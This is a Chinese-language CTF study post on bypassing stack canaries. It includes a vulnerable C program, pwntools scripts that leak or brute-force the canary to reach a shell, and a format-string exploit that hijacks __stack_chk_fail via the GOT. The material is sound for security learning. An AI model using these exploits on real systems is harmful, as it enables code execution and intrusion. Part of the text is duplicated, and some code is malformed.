Canary 学习

Canary 学习

Canary的原理：

 High Address | | +-----------------+ | args | +-----------------+ | return address | +-----------------+ rbp => | old ebp | +-----------------+ rbp-8 => | canary value | +-----------------+ | 局部变量 | Low | | Address 

程序会在每次执行时，在栈空间中生成一个canary值，当栈溢出覆盖canary值后，程序通过比较canary值的不同来确定程序是否有栈溢出。

当程序启用 Canary 编译后，在函数序言部分会取 fs 寄存器 0x28 处的值，存放在栈中 %ebp-0x8 的位置。 这个操作即为向栈中插入 Canary 值，代码如下：

mov rax, qword ptr fs:[0x28] mov qword ptr [rbp - 8], rax 

在函数返回之前，会将该值取出，并与 fs:0x28 的值进行异或。如果异或的结果为 0，说明 canary 未被修改，函数会正常返回，这个操作即为检测是否发生栈溢出。

mov rdx,QWORD PTR [rbp-0x8] xor rdx,QWORD PTR fs:0x28 je 0x4005d7 
  
    call 0x <__stack_chk_fail@plt> #当canary被修改后程序会调用__stack_chk_fail函数 
  

当程序开启Canary的时候，我们应该如何做：

泄露Canary值： 思路： Canary 设计为以字节 \x00 结尾，本意是为了保证 Canary 可以截断字符串。 泄露栈中的 Canary 的思路是覆盖 Canary 的低字节，来打印出剩余的 Canary 部分。 条件： 这种利用方式需要存在合适的输出函数，并且可能需要第一溢出泄露 Canary，之后再次溢出控制执行流程，需要俩次输入。 

例子：

// ex2.c #include 
  
    #include 
   
     #include 
    
      #include 
     
       void getshell(void) { system("/bin/sh"); } void init() { setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); } void vuln() { char buf[100]; for(int i=0;i<2;i++){ read(0, buf, 0x200); printf(buf); } } int main(void) { init(); puts("Hello Hacker!"); vuln(); return 0; } 
      
     
    
  

首先通过覆盖 Canary 最后一个 \x00 字节来打印出 4 位的 Canary 之后，计算好偏移，将 Canary 填入到相应的溢出位置，实现 ret 到 getshell 函数中：

#!/usr/bin/env python from pwn import * #context.log_level = 'debug' io = process('./ex2') elf=ELF("./ex2") get_shell = elf.symbols["getshell"] io.recvuntil("Hello Hacker!\n") # leak Canary payload = "A"*100 io.sendline(payload) io.recvuntil("A"*100) Canary = u32(io.recv(4))-0xa #因为我们用0xa来覆盖0x00，所以最后Canary需要减0xa log.info("Canary:"+hex(Canary)) //日志记录 # Bypass Canary payload = "\x90"*100+p32(Canary)+"\x90"*12+p32(get_shell) io.send(payload) io.recv() io.interactive() 

爆破Canary

思路： 程序中存在fork()进程，虽然每次程序运行时Canary值是不一样的，但是通过fork()创建的子进程中的Canary值是一样的，fork()函数就相当于创建了一个和父进程一样的子进程，子进程会直接将父进程的内存copy到子进程中，我们可以逐个字节的爆破Canary，32位的爆破3位，因为最后一位是\x00,64位需要爆破7位。 条件： 1、要有线程，也就是要就fork()函数 2、要存在栈溢出 

爆破脚本：

32bits

将图中3改为7应该就是64bits的吧。。。。

64bits

print "[+] Brute forcing stack canary "

start = len(p)
stop = len(p)+8

while len(p) < stop:
   for i in xrange(0,256):
      res = send2server(p + chr(i))

      if res != "":
         p = p + chr(i)
         #print "\t[+] Byte found 0x%02x" % i
         break

      if i == 255:
         print "[-] Exploit failed"
         sys.exit(-1)


canary = p[stop:start-1:-1].encode("hex")
print "   [+] SSP value is 0x%s" % canary

类似题目再学吧，太难了，不会啊。

劫持__stack_chk_fail 函数

已知 Canary 失败的处理逻辑会进入到 __stack_chk_failed 函数，__stack_chk_failed 函数是一个普通的延迟绑定函数，可以通过修改 GOT 表劫持这个函数。

参见 ZCTF2017 Login，利用方式是通过 fsb 漏洞篡改 __stack_chk_fail 的 GOT 表，再进行 ROP 利用

BJDCTF_r2t4

考点：用格式化字符串写__stack_chk_fail 函数来 bypass canary

可以看到程序保护全开，我们用IDA看一下程序。

很明显程序有格式化字符串漏洞，但是0x38不够溢出到ret，但是程序开启了canary，而且我们又找到了后门函数，于是我们可以劫持__stack_chk_fail函数，通过修改got表来达到get shell的目的。

可以看到偏移是6，因为是64位程序前6个参数都在寄存器里，而这里aaaa是第七个，也就是栈里的第一个，又因为我们在算偏移的时候需要减去1，所以偏移是6.

exp：

#! /usr/bin/env python

from pwn import *
#context.log_level='debug'
sh=process('./r2t4')
#sh=remote('node3.buuoj.cn',28020)
elf=ELF('./r2t4')

__stack_chk_fail=elf.got['__stack_chk_fail']
boor_addr=0x400626  #后门函数
print hex(__stack_chk_fail+2)  
print hex(__stack_chk_fail)  
payload='%64c%9$hn%1510c%10$hnAAA'+p64(__stack_chk_fail+2)+p64(__stack_chk_fail)
gdb.attach(sh)
sh.sendline(payload)
sh.interactive()

64：0x40，对应backdoor函数地址的高两字节0x0040

9：由于格式化字符串%64c%9$hn$hnAAA占用了24个字节，因为是64位程序，所以偏移6+3=9

$hn：将已输出的字符数低2字节写到指定地址

1510：1510+64=1574=0x626，对应backdoor函数地址的低两字节0x0626

10 ：在偏移9的基础上加上p64(__stack_chk_fail+2)地址的一字节，即偏移为10

AAA：填充作用，栈对齐，使之为8的倍数

可以看一下，这就是我们输进去的payload。

这里可以看到0x60101a是高俩个字节，0x601018是低俩个字节。

覆盖 TLS 中储存的 Canary 值

已知 Canary 储存在 TLS 中，在函数返回前会使用这个值进行对比。当溢出尺寸较大时，可以同时覆盖栈上储存的 Canary 和 TLS 储存的 Canary 实现绕过。

这里可以看到0x60101a是高俩个字节，0x601018是低俩个字节。

覆盖 TLS 中储存的 Canary 值

已知 Canary 储存在 TLS 中，在函数返回前会使用这个值进行对比。当溢出尺寸较大时，可以同时覆盖栈上储存的 Canary 和 TLS 储存的 Canary 实现绕过。

参见 StarCTF2018 babystack